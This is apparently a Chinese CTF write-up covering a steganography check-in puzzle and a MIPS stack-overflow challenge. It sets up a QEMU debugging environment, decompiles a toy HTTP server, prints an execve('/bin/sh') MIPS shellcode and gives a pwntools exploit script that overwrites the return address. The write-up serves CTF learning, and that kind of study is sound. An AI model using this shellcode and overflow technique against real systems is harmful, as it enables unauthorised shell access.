训练赛记录

前言

这周做了UCAS的内部赛, 调出来pwn的时候才知道比赛时间只有11小时orz, 大佬们做的最多的是re1, 然而我ida打开以后看到一堆函数就不想看了233, 最终只提交了一个签到题, orz我好菜

checkin

文件: checkin.png

LSB低位隐写,提取出来

XcHVycGxle2V6X2NoMVRWWX3JNZPWKN3GHBRDCOJYGQ3TMZDD303032653732333338636361313061626437387D

后半段 303032653732333338636361313061626437387D 看起来是16进制串,解出来 002e72338cca10abd78}

中段 MVRWWX3JNZPWKN3GHBRDCOJYGQ3TMZDD 是base32: eck_in_e7f8b198476dc

首段看起来是base64,解不出来,猜测是 purple{ch

用base64以后是 cHVycGxle2No

XcHVycGxle2V6X2No 比较,看起来多了个X

解出来 purple{ez_ch

结果:purple{ez_check_in_e7f8b198476dc002e72338cca10abd78}

PWN1

文件在这里下载: bin.233

题目给了一个binfile, checksec

Arch:     mips-32-big
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

fine…mips环境搞起来

0x01 QEMU MIPS调试环境搭建

下载虚拟机和内核文件 https://people.debian.org/~aurel32/qemu/mips/

这里下载 debian_wheezy_mips_standard.qcow2vmlinux-3.2.0-4-4kc-malta

我宿主机是Vmware的Ubuntu 16.04, 在里面开qemu虚拟机, 采用网桥的方式建立MIPS虚拟机和Ubuntu的连接

安装QEMU:

apt-get install -y qemu qemu-user-static qemu-system

下载虚拟机和内核文件

wget https://people.debian.org/~aurel32/qemu/mips/debian_wheezy_mips_standard.qcow2 &&
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta

然后,虚拟机,启动!

sudo qemu-system-mips \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-netdev user,id=net0 \
-device e1000,netdev=net0,id=net0,mac=52:54:00:c9:18:27 \
-net user -redir tcp:2222::2222 \
-gdb tcp::22333 \
-redir tcp:1234::1234 \
-nographic

账号密码都是root, 然后添加了端口映射, 便于在Ubuntu里调试

给Ubuntu安装pwndbg和调试MIPS的插件:

git clone https://github.com/pwndbg/pwndbg &&
cd pwndbg &&
sudo bash setup.sh &&
sudo apt install gdb-multiarch

关于调试:

我在qemu虚拟机里装了gdb和socat, 即:

apt-get install gdb socat

然后把要调试的文件传到了免费网盘github, 之后通过wget下载到qemu虚拟机中

然后用socat启动gdb调试, 这里的1234端口是上面启动虚拟机的时候设置的端口映射

socat TCP-LISTEN:1234,reuseaddr,fork EXEC:"gdb bin.233"

这样我们在Ubuntu机里就可以用 nc 127.0.0.1 1234 进行连接

输入payload可以用python脚本配合pwntools

如:

from pwn import *
r = remote('127.0.0.1', 1234)

后面的操作就相当于开了一个远程调试的gdb, 直接用pwntools发送指令即可, 比如查看栈内存:

r.sendline('x/100wx $sp')

蛋疼的是mips虚拟机里没法装pwndbg之类的工具, 只能用原始的gdb来调, 不过足够了

0x02 反编译代码分析

我用的是jeb的mips反编译的, 可以试用一个月, 开个虚拟机到期就重置2333

main函数:

unsigned int main(unsigned int param0, unsigned int param1) {
setvbuf(*gvar_411214, 6, 2, 6);
setvbuf(**&gvar_411208, 6, 2, 6);
param0 = *&gvar_4111D4 + 4448;
char *v0 = getenv("PWD");
*&ROOT = v0;
menu(param0, 0, 2, 0);
for(int i = 0; i < 16; ++i) {
respond(param0, 0, 2, 0);
}
return 0;
}

menu函数:
unsigned int menu(unsigned int param0, unsigned int param1, unsigned int param2, unsigned int param3) {
system("pwd", param1, param2, param3);
printf("start?");
return read(0, *&gvar_4111D8, 1, param3);
}

respond函数:
int respond(unsigned int param0, unsigned int param1, unsigned int param2, unsigned int param3) {
memset(gvar_4111D8, 0, 4096, param3);
int result = read(0, mesg, 4096, param3);
int v0 = result;
if(result == 0) {
result = fwrite("Client disconnected upexpectedly.\n", 1, 34, **&gvar_41123C);
}
else if(result < 0) {
result = fwrite("recv() error\n", 1, 13, **&gvar_41123C);
}
else { // len(result) > 0, 有输入
printf("%s", mesg, 4096, param3);
result = strtok(mesg, " \t\n", 4096, param3); // 用" \t\n"切割字符串
result = strncmp(result, "GET", 4, param3); // 比较前4个字符

if(result == 0) {
result = strtok(mesg, " \t", 4, param3); // 用" \t"切割字符串
char *filename = result;
result = strtok(mesg, " \t\n", 4, param3); // 用" \t\n"切割字符串
char *protocol = result;
result = strncmp(protocol, "HTTP/1.0", 8, param3); // 比较前8个字符

if(result != 0) {
result = strncmp(protocol, "HTTP/1.1", 8, param3); //比较

if(result != 0) {
return write(1, "HTTP/1.0 400 Bad Request\n", 25, param3);
}
}

result = strncmp(filename, "/", 2, param3);
if(result == 0) {
filename = "/index.html";
}

env_str = *&ROOT;
strcpy(&path, env_str); // path = /home/fish
result = strlen(*&R00T, env_str, 2, param3); // 路径的长度
// 字符串拼接 path = /home/fish + v1,
// 没有计算文件名的长度就直接copy了, 可以导致栈溢出
strcpy(((unsigned int)(result + ((int)(&path)))), filename, 2, param3);

printf("file: %s\n", &path, 2, param3); // 输出path
result = open(&path, 0, 2, param3); // 打开path指向的文件
// 文件存在则输出200 OK, 否则404
result = result != -1 ? write(l, "HTTP/1.0 200 0K\n\n", 17, param3): write(1, "HTTP/1.0 404 Not Found\n", 23, param3);
}
}
return result;
}

0x03 分析

输入的HTTP请求段mesg:

GET /{file} HTTP/1.0

可以看到栈里的数据, strcpy复制的时候没检查长度造成栈溢出, 测得保存的文件路径在$sp + 0x2c处(本机测试的时候路径是/root)

$ra(返回地址寄存器)保存在$sp + 0x134处


/bin/sh也有了, system也有了

看起来是要构造ROP, 但是有一个问题是, payload里不能有\x00不然会截断

但是所有地址都是0x0040开头的, 所以没法构造ROP

本来跳转到 0x00400e68, 现在跳转到 0x7fff6b5a, a(1000b) 最低两个有效位有一个不是0

尝试把shellcode写到栈上然后控制$ra跳转过去

在Exploit-DB上找了个mips 32 big endian的shellcode

shellcode  = "\x28\x06\xff\xff"      #  /* slti    a2,zero,-1   */
shellcode += "\x3c\x0f\x2f\x2f"      #  /* lui     t7,0x2f2f    */
shellcode += "\x35\xef\x62\x69"      #  /* ori     t7,t7,0x6269 */
shellcode += "\xaf\xaf\xff\xf4"      #  /* sw      t7,-12(sp)   */
shellcode += "\x3c\x0e\x6e\x2f"      #  /* lui     t6,0x6e2f    */
shellcode += "\x35\xce\x73\x68"      #  /* ori     t6,t6,0x7368 */
shellcode += "\xaf\xae\xff\xf8"      #  /* sw      t6,-8(sp)    */
shellcode += "\xaf\xa0\xff\xfc"      #  /* sw      zero,-4(sp)  */
shellcode += "\x27\xa4\xff\xf4"      #  /* addiu   a0,sp,-12    */
shellcode += "\x28\x05\xff\xff"      #  /* slti    a1,zero,-1   */
shellcode += "\x24\x02\x0f\xab"      #  /* li      v0,4011      */
shellcode += "\x01\x01\x01\x0c"      #  /* syscall 0x40404      */

看一下函数返回的操作

  break         $sp        $ra          code
0x00400CC0  0x7fff6bd8  0x00400c9c  jalr    $t9 ; strcpy                # 这条指令将执行strcpy
0x00400CC4  0x7fff6bd8  0x00400cc8  nop
0x00400CC8  0x7fff6bd8  0x00400cc8  lw      $gp, 0x138+var_128($fp)     # strcpy后第一条指令
----------
0x00400D7C  0x7fff6bd8  0x00400d70  lw      $ra, 0x138+var_4($sp)       # 这里修改了$ra, 我们溢出到栈上覆盖了这个地址后, $ra的值是我们伪造的地址
0x00400D80  0x7fff6bd8  0x00400e68  lw      $fp, 0x138+var_8($sp)       # 这里伪造的$ra=0x7fff6b5a
0x00400D84  0x7fff6bd8  0x00400e68  addiu   $sp, 0x138                  # $ra=0x7fff6b5a
0x00400D88  0x7fff6d10  0x00400e68  jr      $ra                         # 跳转回main

直接修改$ra 跳过去就可以, 修改$ra为0x7fff6b5a

测试完以后发现, 会报

Program received signal SIGBUS, Bus error.
GDB is unable to find the start of the function at 0x7fff6b5a
and thus can't determine the size of that function's stack frame.
This means that GDB may be unable to access that stack frame, or
the frames below it.
This problem is most likely caused by an invalid program counter or
stack pointer.
However, if you think GDB should simply search farther back
from 0x7fff6b5a for code which looks like the beginning of a
function, you can increase the range of the search using the `set
heuristic-fence-post' command.
0x7fff6b5a in ?? ()

猜测可能是MIPS需要对齐地址, $sp = 0x7fff6bd8, 所以应该按4字节增长, 设置$ra = $sp + 4 * n

但是实际运行环境的$sp不知道, 得想办法解决一哈

调试环境测试跳转到shellcode可以稳定getshell

0x04 exp

先给出exp…等我想办法找到栈地址再补充

from pwn import *

shellcode = "\x28\x06\xff\xff" # /* slti a2,zero,-1 */
shellcode += "\x3c\x0f\x2f\x2f" # /* lui t7,0x2f2f */
shellcode += "\x35\xef\x62\x69" # /* ori t7,t7,0x6269 */
shellcode += "\xaf\xaf\xff\xf4" # /* sw t7,-12(sp) */
shellcode += "\x3c\x0e\x6e\x2f" # /* lui t6,0x6e2f */
shellcode += "\x35\xce\x73\x68" # /* ori t6,t6,0x7368 */
shellcode += "\xaf\xae\xff\xf8" # /* sw t6,-8(sp) */
shellcode += "\xaf\xa0\xff\xfc" # /* sw zero,-4(sp) */
shellcode += "\x27\xa4\xff\xf4" # /* addiu a0,sp,-12 */
shellcode += "\x28\x05\xff\xff" # /* slti a1,zero,-1 */
shellcode += "\x24\x02\x0f\xab" # /* li v0,4011 */
shellcode += "\x01\x01\x01\x0c" # /* syscall 0x40404 */

shellcode_addr = ''
shellcode_addr = "\x7f\xff\x6b\x50" # shellcode的地址

payload = '/a' + shellcode + 'a' * (253 - len(shellcode) - 5) + '/123' + shellcode_addr

http = 'GET ' + payload + ' HTTP/1.1'

r = remote('127.0.0.1', 1234)
r.recv()
r.sendline('r') # gdb run
r.recv() # start?
r.send('\n')
r.sendline(http)
r.recv()
r.interactive()

题目本身简单..保护全关, 但是麻烦的地方就是调试环境, 一开始用qemu共享库起, 报段错误, 无法运行

m4x师傅给了我一个docker: multiarch-docker

能运行了但是一调试就炸…最后没办法了才直接在虚拟机里跑, 装个gdb然后端口映射233